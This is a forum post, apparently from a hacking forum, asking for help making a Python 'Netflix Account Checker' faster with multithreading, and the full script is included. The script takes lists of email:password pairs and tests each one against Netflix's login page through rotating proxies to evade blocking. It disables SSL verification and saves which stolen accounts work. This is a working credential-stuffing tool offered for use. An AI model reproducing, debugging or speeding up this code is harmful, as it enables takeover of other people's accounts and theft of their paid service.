Netflix Checker help 11-27-2017, 12:38 AM
#1
So I came across this code for a python checker for netflix. It seems to be pretty robust, but could be better by adding multithreading to it. Does anyone know how to do that? Also there's a bit of a hitch in the code that spills out an unknown error 7. Would love some guidance from you rockstars.
-oops!
-oops!
Code:
#!/usr/bin/python
from __future__ import division
from progressbar import ProgressBar
from mechanize import Browser
from os import path
from random import randint
from time import sleep
import ssl, progressbar
from mechanize._form import SubmitControl, ScalarControl
debug = False
working=[]
dead=[]
notActive=[]
br = Browser()
ssl._create_default_https_context = ssl._create_unverified_context
def __init__(self, type, name, attrs, index=None):
ScalarControl.__init__(self, type, name, attrs, index)
# IE5 defaults SUBMIT value to "Submit Query"; Firebird 0.6 leaves it
# blank, Konqueror 3.1 defaults to "Submit". HTML spec. doesn't seem
# to define this.
if self.value is None:
if self.disabled:
self.disabled = False
self.value = ""
self.disabled = True
else:
self.value = ""
self.readonly = True
SubmitControl.__init__ = __init__
def testAccount(email,password,country):
global currentProxy
global br
global debug
activeURL = 'https://www.netflix.com/browse'
logoutURL = 'https://www.netflix.com/SignOut?lnkctr=mL'
page = 'Sorry, we are unable to process your request.'
while (page.find('Sorry, we are unable to process your request.') != -1):
try:
getProxyType(country)
loginURL = 'https://www.netflix.com/login'
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
br.addheaders = [('User-agent', 'Firefox')]
if (currentProxy != ''):
if (country != 'HTTP'):
br.set_proxies({"socks5": currentProxy})
else:
br.set_proxies({"HTTP": currentProxy})
if (debug):
print 'Trying proxy: '+currentProxy
else:
br.set_proxies()
br.open(loginURL)
br.select_form(nr=0)
br.form['email'] = email
br.form['password'] = password
if (debug):
print 'Testing account: '+email
response = br.submit()
if (response.code == 200):
page = response.read()
if (page.find('Sorry, we are unable to process your request.') != -1):
if (debug):
print 'Proxy Blocked - Trying new proxy (1)'
elif (response.geturl().find('browse') != -1):
if (debug):
print 'Account Working! - '+email
print ''
br.open(logoutURL)
working.append(email+':'+password+'\n')
elif (page.find('Finish Sign-up') != -1):
if (debug):
print 'No Active Subscription (4)'
print ''
br.open(logoutURL)
notActive.append(email+':'+password)
elif (response.geturl().find('getstarted') != -1):
if (debug):
print 'No Active Subscription (5)'
print ''
br.open(logoutURL)
notActive.append(email+':'+password)
elif (response.code == 500):
if (debug):
print 'Bad Gateway!, Retrying with new proxy (6)'
print ''
errorFile = open('/root/Desktop/Scrapers/netflix/error.txt', 'a+')
errorFile.write('500-Bad Gateway: currentProxy')
errorFile.close()
elif (page.find('Incorrect password') != -1):
if (debug):
print 'Account Dead! (2)'
print ''
dead.append(email+':'+password)
elif (page.find('find an account with this email address.') != -1):
if (debug):
print 'Account Dead! (3)'
print ''
dead.append(email+':'+password)
else:
print 'Unknown Error. (7)'
errorFile = open('error.txt', 'a+')
errorFile.write(response.geturl()+'\n'+page)
errorFile.close()
else:
print 'Error: '+str(response.code)+' Trying again.'
except Exception, errorMsg:
if (debug):
print errorMsg
print 'Bad proxy or not connected to the internet. (8)'
print 'Retrying in 3 seconds.'
print ''
print response.geturl().find('getstarted')
errorFile = open('/root/Desktop/Scrapers/netflix/error.txt', 'a+')
errorFile.write(response.geturl()+'\n'+page)
errorFile.close()
br.open(logoutURL)
sleep(3)
def writeToFile():
global working
global dead
global notActive
workingAccounts = open('/root/Desktop/Scrapers/netflix/workingAccounts.txt', 'w+')
deadAccounts = open('/root/Desktop/Scrapers/netflix/deadAccounts.txt', 'w+')
nonActiveFile = open('/root/Desktop/Scrapers/netflix/notActive.txt', 'w+')
for all in working:
workingAccounts.write(all)
for all in dead:
deadAccounts.write(all)
for all in notActive:
nonActiveFile.write(all)
workingAccounts.close()
deadAccounts.close()
nonActiveFile.close()
print ''
print 'Summary:'
print '--------'
print ''
print 'Working accounts: ' + str(len(working))
print 'Inactive Accounts: '+ str(len(notActive))
print 'Dead accounts: ' + str(len(dead))
print ''
def getProxyType(country):
if ('AU' == country):
proxies('AU')
elif ('CA' == country):
proxies('CA')
elif ('CO' == country):
proxies('CO')
elif ('DK' == country):
proxies('DK')
elif ('GB' == country):
proxies('GB')
elif ('MX' == country):
proxies('MX')
elif ('NL' == country):
proxies('NL')
elif ('US' == country):
proxies('US')
elif ('HTTP' == country):
proxies('HTTP')
elif ('Default' == country):
proxies('Default')
else:
if (debug):
print 'Country '+country+' not in list. Let me know ill update the list :)'
print 'Default proxy being used.'
proxies('Default')
def proxies(country):
global currentProxy
proxyFile = "/root/Desktop/Scrapers/netflix/proxy-"+country+".txt"
if (path.exists(proxyFile) and path.getsize(proxyFile) > 0):
lines = open(proxyFile, "r")
filestream = open(proxyFile, "r")
randomProxyID = randint(0,sum(1 for row in lines) - 1)
for proxyID, proxy in enumerate(filestream):
if (proxyID == randomProxyID):
currentProxy = proxy
break
filestream.close()
else:
if (debug):
print 'No proxies in '+country+' proxy list.\nNo proxy set.'
currentProxy = ''
def main():
global debug
global working
global dead
print ''
print '########################################################'
print '#### Netflix Account Checker - Proxy Support ####'
print '#### Coded by fl33y0uf00l ####'
print '#### ####'
print '#### Version 0.4 beta ####'
print '########################################################'
print ''
try:
if (debug):
print 'Fetching accounts'
accounts = '/root/Desktop/Scrapers/netflix/checkAccounts.txt'
if (path.exists(accounts) and path.getsize(accounts) > 0):
if (debug):
print 'Accounts file is not empty.'
else:
progress = 0
maxValue = sum(1 for acc in open(accounts))
pbar = ProgressBar(maxval=maxValue).start()
with open(accounts, "r") as filestream:
for line in filestream:
if (not debug):
pbar.update(progress)
progress += 1
accountArgument = line.split(':')
args = len(accountArgument)
if (debug):
print 'Number of Account arguments: %d' % args
if (args == 3 or args == 2):
email = accountArgument[0]
password = accountArgument[1]
if (debug):
print 'Opened accounts file, arguments:'
print email
print password
if (args == 3):
country = accountArgument[2].rstrip()
else:
if (debug):
print 'No country included with account details.'
country = 'Default'
testAccount(email,password,country)
else:
print 'Account List is not formatted properly.'
if (not debug):
pbar.finish()
writeToFile()
else:
print 'Accounts file is empty!'
print ''
except Exception, errorMsg:
print ''
print errorMsg
print 'An error occurred.. Saving progress...'
print ''
writeToFile()
if __name__ == "__main__":
main()

![[+]](https://sinister.li/images/modern/collapse_collapsed.png)